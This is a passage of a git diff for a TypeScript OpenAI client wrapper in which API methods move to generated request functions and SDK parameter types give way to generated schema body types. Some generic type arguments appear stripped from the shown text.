model: body.model, - }), + (client) => + openaiPostEmbeddings({ + client, + body: { + ...body, + encoding_format: body.encoding_format || 'base64', + }, + }), + options(requestOptions, { model: body.model }), body.encoding_format ? undefined : decodeEmbeddings, ), }, images: { - generate: (body: ImageGenerateParamsBase, options?: RequestOptions) => - call>( - request('post', '/images/generations', options, { - body, + generate: ( + body: OpenaiPostImagesGenerationsBody, + requestOptions?: RequestOptions, + ) => + generated>( + (client) => openaiPostImagesGenerations({ client, body }), + options(requestOptions, { model: body.model ?? undefined, stream: Boolean(body.stream), }), ), - edit: (body: ImageEditParamsBase, options?: RequestOptions) => - call>( - request('post', '/images/edits', options, { - body: toFormData(body), + edit: ( + body: OpenaiPostImagesEditsBody, + requestOptions?: RequestOptions, + ) => + generated>( + (client) => + openaiPostImagesEdits({ client, body, serializer: multipart }), + options(requestOptions, { model: body.model ?? undefined, stream: Boolean(body.stream), }), @@ -578,10 +650,10 @@ function buildClient(send: Send, baseURL: string) { }, audio: { speech: { - create: (body, options) => - call( - request('post', '/audio/speech', options, { - body, + create: (body, requestOptions) => + generated( + (client) => openaiPostAudioSpeech({ client, body }), + options(requestOptions, { model: body.model, accept: 'application/octet-stream', binary: true, @@ -590,17 +662,22 @@ function buildClient(send: Send, baseURL: string) { }, transcriptions: { create: ( - body: TranscriptionCreateParamsBase, - options?: RequestOptions, + body: OpenaiPostAudioTranscriptionsBody, + requestOptions?: RequestOptions, ) => - call< + generated< string & Transcription & TranscriptionVerbose & AsyncIterable >( - request('post', '/audio/transcriptions', options, { - body: toFormData(body), + (client) => + openaiPostAudioTranscriptions({ + client, + body, + serializer: multipart, + }), + options(requestOptions, { model: body.model, stream: Boolean(body.stream), }), @@ -616,8 +693,11 @@ function buildClient(send: Send, baseURL: string) { call(request('delete', `/files/${encodeURIPath(fileID)}`, options)), }, videos: { - create: (body, options) => - call(request('post', '/videos', options, { body: toFormData(body) })), + create: (body, requestOptions) => + generated( + (client) => openaiPostVideos({ client, body, serializer: multipart }), + options(requestOptions), + ), retrieve: (videoID, options) => call(request('get', `/videos/${encodeURIPath(videoID)}`, options)), downloadContent: (videoID, query, options) => diff --git a/packages/openai-base/src/client/types.ts b/packages/openai-base/src/client/types.ts index 24abe91733..e932de4d42 100644 --- a/packages/openai-base/src/client/types.ts +++ b/packages/openai-base/src/client/types.ts @@ -3,40 +3,23 @@ import type { AzureClientOptions } from 'openai/azure' import type { ChatCompletion, ChatCompletionChunk, - ChatCompletionCreateParamsBase, - ChatCompletionCreateParamsNonStreaming, - ChatCompletionCreateParamsStreaming, } from 'openai/resources/chat/completions/completions' import type { CompactedResponse, Response as OpenAIResponse, - ResponseCompactParams, - ResponseCreateParamsBase, - ResponseCreateParamsNonStreaming, - ResponseCreateParamsStreaming, ResponseStreamEvent, } from 'openai/resources/responses/responses' import type { CreateEmbeddingResponse, Embedding, - EmbeddingCreateParams, } from 'openai/resources/embeddings' import type { - ImageEditParamsBase, - ImageEditParamsNonStreaming, - ImageEditParamsStreaming, ImageEditStreamEvent, ImageGenStreamEvent, - ImageGenerateParamsBase, - ImageGenerateParamsNonStreaming, - ImageGenerateParamsStreaming, ImagesResponse, } from 'openai/resources/images' -import type { SpeechCreateParams } from 'openai/resources/audio/speech' import type { Transcription, - TranscriptionCreateParamsNonStreaming, - TranscriptionCreateParamsStreaming, TranscriptionCreateResponse, TranscriptionStreamEvent, TranscriptionVerbose, @@ -46,12 +29,34 @@ import type { FileDeleted, FileObject, } from 'openai/resources/files' -import type { - Video, - VideoCreateParams, - VideoDownloadContentParams, -} from 'openai/resources/videos' +import type { Video, VideoDownloadContentParams } from 'openai/resources/videos' import type { Decision, DecisionCreateParams } from 'openai/resources/decisions' +import type { + AudioResponseFormatKey, + OpenaiPostAudioSpeechBody, + OpenaiPostAudioTranscriptionsBody, + OpenaiPostChatCompletionsBody, + OpenaiPostEmbeddingsBody, + OpenaiPostImagesEditsBody, + OpenaiPostImagesGenerationsBody, + OpenaiPostResponsesBody, + OpenaiPostResponsesCompactBody, + OpenaiPostVideosBody, +} from '../generated/client/types' + +/** + * Request bodies are the generated modelschemas types, so every call the + * adapters build is checked against the OpenAI document. Results are still + * the SDK types. + */ +type ChatBody = OpenaiPostChatCompletionsBody +type ResponsesBody = OpenaiPostResponsesBody +type TranscriptionBody = Omit< + OpenaiPostAudioTranscriptionsBody, + 'response_format' +> & { response_format?: Format } +type NonStreaming = Body & { stream?: false | null } +type Streaming = Body & { stream: true } /** The SDK result of `embeddings.create` with `encoding_format: 'base64'`. */ export type Base64EmbeddingResponse = Omit & { @@ -65,12 +70,11 @@ export type RequestOptions = NonNullable< /** * The part of the OpenAI SDK client that TanStack AI adapters call. The - * method names, arguments, and results match the SDK. A stream is an + * method names and results match the SDK. The request bodies are the + * generated modelschemas types, so a real `new OpenAI()` (or `AzureOpenAI`) + * does not fit this type: use `createOpenAIClient()`. A stream is an * `AsyncIterable` of the SDK event type. * - * Both `createOpenAIClient()` and a real `new OpenAI()` (or `AzureOpenAI`) - * fit this type. - * * The call signatures copy the SDK overloads, so a call with `stream: true` * gives a stream type and a call without it gives the response type. */ @@ -81,15 +85,15 @@ export interface OpenAIClientLike { readonly completions: { readonly create: { ( - body: ChatCompletionCreateParamsNonStreaming, + body: NonStreaming, options?: RequestOptions, ): Promise ( - body: ChatCompletionCreateParamsStreaming, + body: Streaming, options?: RequestOptions, ): Promise> ( - body: ChatCompletionCreateParamsBase, + body: ChatBody, options?: RequestOptions, ): Promise | ChatCompletion> } @@ -98,31 +102,31 @@ export interface OpenAIClientLike { readonly responses: { readonly create: { ( - body: ResponseCreateParamsNonStreaming, + body: NonStreaming, options?: RequestOptions, ): Promise ( - body: ResponseCreateParamsStreaming, + body: Streaming, options?: RequestOptions, ): Promise> ( - body: ResponseCreateParamsBase, + body: ResponsesBody, options?: RequestOptions, ): Promise | OpenAIResponse> } readonly compact: ( - body: ResponseCompactParams, + body: OpenaiPostResponsesCompactBody, options?: RequestOptions, ) => Promise } readonly embeddings: { readonly create: { ( - body: EmbeddingCreateParams & { encoding_format: 'base64' }, + body: OpenaiPostEmbeddingsBody & { encoding_format: 'base64' }, options?: RequestOptions, ): Promise ( - body: EmbeddingCreateParams, + body: OpenaiPostEmbeddingsBody, options?: RequestOptions, ): Promise } @@ -130,29 +134,29 @@ export interface OpenAIClientLike { readonly images: { readonly generate: { ( - body: ImageGenerateParamsNonStreaming, + body: NonStreaming, options?: RequestOptions, ): Promise ( - body: ImageGenerateParamsStreaming, + body: Streaming, options?: RequestOptions, ): Promise> ( - body: ImageGenerateParamsBase, + body: OpenaiPostImagesGenerationsBody, options?: RequestOptions, ): Promise | ImagesResponse> } readonly edit: { ( - body: ImageEditParamsNonStreaming, + body: NonStreaming, options?: RequestOptions, ): Promise ( - body: ImageEditParamsStreaming, + body: Streaming, options?: RequestOptions, ): Promise> ( - body: ImageEditParamsBase, + body: OpenaiPostImagesEditsBody, options?: RequestOptions, ): Promise | ImagesResponse> } @@ -161,34 +165,34 @@ export interface OpenAIClientLike { readonly speech: { /** Resolves to the raw `Response`. Read it with `.arrayBuffer()`. */ readonly create: ( - body: SpeechCreateParams, + body: OpenaiPostAudioSpeechBody, options?: RequestOptions, ) => Promise } readonly transcriptions: { readonly create: { ( - body: TranscriptionCreateParamsNonStreaming<'json' | undefined>, + body: NonStreaming>, options?: RequestOptions, ): Promise ( - body: TranscriptionCreateParamsNonStreaming<'verbose_json'>, + body: NonStreaming>, options?: RequestOptions, ): Promise ( - body: TranscriptionCreateParamsNonStreaming<'srt' | 'vtt' | 'text'>, + body: NonStreaming>, options?: RequestOptions, ): Promise ( - body: TranscriptionCreateParamsNonStreaming, + body: NonStreaming, options?: RequestOptions, ): Promise ( - body: TranscriptionCreateParamsStreaming, + body: Streaming, options?: RequestOptions, ): Promise> ( - body: TranscriptionCreateParamsStreaming, + body: Streaming, options?: RequestOptions, ): Promise< | TranscriptionCreateResponse @@ -214,7 +218,7 @@ export interface OpenAIClientLike { } readonly videos: { readonly create: ( - body: VideoCreateParams, + body: OpenaiPostVideosBody, options?: RequestOptions, ) => Promise